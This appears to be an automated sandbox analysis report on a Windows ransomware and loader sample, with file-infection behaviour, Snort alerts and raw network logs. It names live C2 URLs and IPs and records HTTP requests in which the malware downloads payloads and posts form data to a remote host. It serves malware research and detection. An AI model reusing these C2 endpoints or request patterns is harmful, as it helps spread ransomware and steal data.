Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: SUwX12D2S6.exe, 00000004.00000003.2226957493.00000000038C6000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2225920544.00000000038C2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2225038196.0000000003192000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2223567308.00000000038C2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2217897189.00000000038AB000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2216202881.00000000038A9000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2218553034.00000000038C2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2227590465.00000000038DF000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2217675191.00000000038A9000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2216776414.000000000318D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2216475290.0000000003183000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\we\ source: SUwX12D2S6.exe, 00000004.00000003.2169696594.000000000350D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\AC\ source: SUwX12D2S6.exe, 00000004.00000003.2159195532.0000000003733000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\f source: SUwX12D2S6.exe, 00000004.00000003.2135310569.0000000003493000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110681040.00000000034F2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136261874.000000000350D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135016253.00000000033F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\\Packa source: SUwX12D2S6.exe, 00000004.00000003.2136536137.0000000003169000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110957880.000000000315A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135929742.0000000003168000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136570770.000000000316F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.1881793763.000000000316C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\censes] source: SUwX12D2S6.exe, 00000004.00000003.1882036014.0000000003148000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.1843805332.0000000003148000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: SUwX12D2S6.exe, 00000004.00000003.2170331603.0000000003576000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2184159938.0000000003576000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Data source: SUwX12D2S6.exe, 00000004.00000003.2184159938.0000000003576000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\\ source: SUwX12D2S6.exe, 00000004.00000003.2183331491.000000000376A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2202393003.000000000376B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgzq~ source: SUwX12D2S6.exe, 00000004.00000003.2110681040.00000000034F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: SUwX12D2S6.exe, 00000004.00000003.2159195532.000000000375A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2174356824.000000000375B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\e\5o source: SUwX12D2S6.exe, 00000004.00000003.2159543171.00000000031A5000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2157718043.00000000031A3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: SUwX12D2S6.exe, 00000004.00000003.2185146314.0000000003802000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2202393003.00000000037AA000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2202710386.00000000037CB000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2203093794.00000000037E3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\a\* source: SUwX12D2S6.exe, 00000004.00000003.1881875981.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.1881957469.00000000033DC000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110134134.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2111097747.0000000003405000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\DC source: SUwX12D2S6.exe, 00000004.00000003.2136680554.000000000314E000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136154375.0000000003148000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110957880.000000000315A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: SUwX12D2S6.exe, 00000004.00000003.2110681040.00000000034F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: SUwX12D2S6.exe, 00000004.00000003.2174680367.000000000345E000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2174757810.000000000346A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2170130034.0000000003413000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2174049173.000000000341F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2174506625.0000000003420000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\uf?% source: SUwX12D2S6.exe, 00000004.00000003.2135310569.0000000003493000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110681040.00000000034F2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136261874.000000000350D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135016253.00000000033F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\_ source: SUwX12D2S6.exe, 00000004.00000003.2242116659.000000000375B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\acrobat_sbx\Adobe\d.pdb source: SUwX12D2S6.exe, 00000004.00000003.2135310569.0000000003493000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136261874.000000000350D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136368733.0000000003534000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135016253.00000000033F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\R source: SUwX12D2S6.exe, 00000004.00000003.2135310569.0000000003493000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110681040.00000000034F2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136261874.000000000350D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136368733.0000000003534000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135016253.00000000033F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\e source: SUwX12D2S6.exe, 00000004.00000003.2185322786.00000000033C8000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2174464257.00000000033C4000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2169889587.00000000033C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: SUwX12D2S6.exe, 00000004.00000003.2135697139.00000000033C5000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110208589.00000000033B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: SUwX12D2S6.exe, 00000004.00000003.2242116659.000000000375B000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2236436289.0000000003893000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: SUwX12D2S6.exe, 00000004.00000003.2135697139.00000000033C5000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110208589.00000000033B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: build2.exe, 00000008.00000002.1970716529.0000000020E29000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1970251533.000000001E8E8000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgzqqg.bgzq13be82808d6d800486d215022e11c6ece1ta\Application Data\Application Data\ApplicR source: SUwX12D2S6.exe, 00000004.00000003.2209794574.0000000003141000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2201372327.0000000003141000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2203525691.0000000003152000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\e\ source: SUwX12D2S6.exe, 00000004.00000003.2136536137.0000000003169000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110957880.000000000315A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135929742.0000000003168000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136570770.000000000316F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.1881793763.000000000316C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\4 source: SUwX12D2S6.exe, 00000004.00000003.1881875981.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.1881957469.00000000033DC000.00000004.00000020.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

System file written: C:\Users\user\AppData\Local\Temp\chrome.exe

Jump to behavior

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_00410160
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_0040F730
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	1_2_0040FB98
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_0040F730
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00410160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_00410160
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	4_2_0040FB98

Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2833438 ETPRO TROJAN STOP Ransomware CnC Activity 192.168.2.4:49735 -> 189.232.19.193:80
Source: Traffic	Snort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.4:49733 -> 175.119.10.231:80
Source: Traffic	Snort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.4:49733 -> 175.119.10.231:80
Source: Traffic	Snort IDS: 2036335 ET TROJAN Win32/Filecoder.STOP Variant Public Key Download 189.232.19.193:80 -> 192.168.2.4:49735
Source: Traffic	Snort IDS: 2036335 ET TROJAN Win32/Filecoder.STOP Variant Public Key Download 189.232.19.193:80 -> 192.168.2.4:49734
Source: Traffic	Snort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.4:49736 -> 189.232.19.193:80
Source: Traffic	Snort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.4:49736 -> 189.232.19.193:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199673019888
Source: Malware configuration extractor	URLs: http://cajgtus.com/test2/get.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 24 Apr 2024 08:27:10 GMTContent-Type: application/octet-streamContent-Length: 296448Last-Modified: Tue, 23 Apr 2024 19:19:16 GMTConnection: closeETag: "662809b4-48600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce d6 de 9e 8a b7 b0 cd 8a b7 b0 cd 8a b7 b0 cd 87 e5 6f cd 90 b7 b0 cd 87 e5 50 cd f6 b7 b0 cd 87 e5 51 cd a6 b7 b0 cd 83 cf 23 cd 83 b7 b0 cd 8a b7 b1 cd f8 b7 b0 cd 3f 29 55 cd 8b b7 b0 cd 87 e5 6b cd 8b b7 b0 cd 3f 29 6e cd 8b b7 b0 cd 52 69 63 68 8a b7 b0 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 47 05 fb 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 e6 00 00 00 30 60 01 00 00 00 00 6d 40 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 61 01 00 04 00 00 00 d6 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 dc 6a 01 00 64 00 00 00 00 40 60 01 66 ef 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 60 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 98 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 e4 00 00 00 10 00 00 00 e6 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 50 74 00 00 00 00 01 00 00 76 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e4 b5 5e 01 00 80 01 00 00 36 02 00 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 66 ef 00 00 00 40 60 01 00 f0 00 00 00 96 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 24 Apr 2024 08:27:32 GMTServer: Apache/2.4.37 (Win64) PHP/5.6.40Last-Modified: Mon, 09 Oct 2023 19:50:06 GMTETag: "4ae00-6074de5a4a562"Accept-Ranges: bytesContent-Length: 306688Connection: closeContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 36 f8 06 6b 72 99 68 38 72 99 68 38 72 99 68 38 cf d6 fe 38 73 99 68 38 6c cb fd 38 6e 99 68 38 6c cb eb 38 fc 99 68 38 55 5f 13 38 7b 99 68 38 72 99 69 38 c9 99 68 38 6c cb ec 38 32 99 68 38 6c cb fc 38 73 99 68 38 6c cb f9 38 73 99 68 38 52 69 63 68 72 99 68 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0e d2 b9 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 6a 03 00 00 98 3b 00 00 00 00 00 20 05 01 00 00 10 00 00 00 80 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 3e 00 00 04 00 00 b0 bf 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 68 03 00 64 00 00 00 00 90 3e 00 00 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 b8 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 68 03 00 00 10 00 00 00 6a 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a8 ff 3a 00 00 80 03 00 00 0e 01 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6b 69 63 00 00 00 00 05 00 00 00 00 80 3e 00 00 02 00 00 00 7c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 2f 00 00 00 90 3e 00 00 30 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /profiles/76561199673019888 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 95.217.9.149 95.217.9.149
Source: Joe Sandbox View	IP Address: 104.21.65.24 104.21.65.24
Source: Joe Sandbox View	IP Address: 175.119.10.231 175.119.10.231

Source: Joe Sandbox View

ASN Name: UninetSAdeCVMX UninetSAdeCVMX

Source: Joe Sandbox View	JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JKFIDGDHJEGIEBFHDGDGUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 279Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GDAEBKJDHDAFIECBAKKJUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKJJKFHIJKKFHJJECBAUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJJKFCGDGHDHIECGCBKUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 7497Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqln.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
